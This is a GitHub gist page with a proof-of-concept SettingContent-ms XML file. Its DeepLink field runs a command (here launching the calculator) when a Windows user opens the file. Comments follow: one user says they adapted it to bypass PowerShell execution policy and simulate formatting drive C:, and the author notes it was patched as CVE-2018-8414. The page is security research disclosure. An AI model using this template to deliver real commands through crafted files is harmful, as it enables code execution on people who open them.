Skip to content

Instantly share code, notes, and snippets.

@enigma0x3
Created June 11, 2018 15:02
Show Gist options
  • Star 35 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save enigma0x3/b948b81717fd6b72e0a4baca033e07f8 to your computer and use it in GitHub Desktop.
Save enigma0x3/b948b81717fd6b72e0a4baca033e07f8 to your computer and use it in GitHub Desktop.
<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
<SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
<ApplicationInformation>
<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
<DeepLink>%windir%\system32\cmd.exe /c calc.exe</DeepLink>
<Icon>%windir%\system32\control.exe</Icon>
</ApplicationInformation>
<SettingIdentity>
<PageID></PageID>
<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
</SettingIdentity>
<SettingInformation>
<Description>@shell32.dll,-4161</Description>
<Keywords>@shell32.dll,-4161</Keywords>
</SettingInformation>
</SearchableContent>
</PCSettings>
@H011YxW00D
Copy link

Wow great find man.

@bvoris
Copy link

bvoris commented Jun 27, 2018

I have used the above code to run PowerShell, bypass execution policy, and run a simulated format on drive C: See my link below.
https://github.com/bvoris/SettingContent-MS-File-Execution/

@ubhackn
Copy link

ubhackn commented Jul 3, 2018

When I try the POC, I get the following message: "Windows cannot access the specified device, path, or file. You may not have the appropriate permissions to access the item."

I can manually run %windir%\system32\cmd.exe /c calc.exe
I can manually run %windir%\system32\control.exe
I have verified that the HostID guid is the same as other native settingcontent-ms files on my computer.
I have verified that the AppID value is the same as other native settingcontent-ms files on my computer.

I am not local admin on my machine. Is admin required? Other things I am doing wrong?

@TobyGoRoper
Copy link

I have the same problem as unhackn

@enigma0x3
Copy link
Author

That would be because it was patched with CVE-2018-8414

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment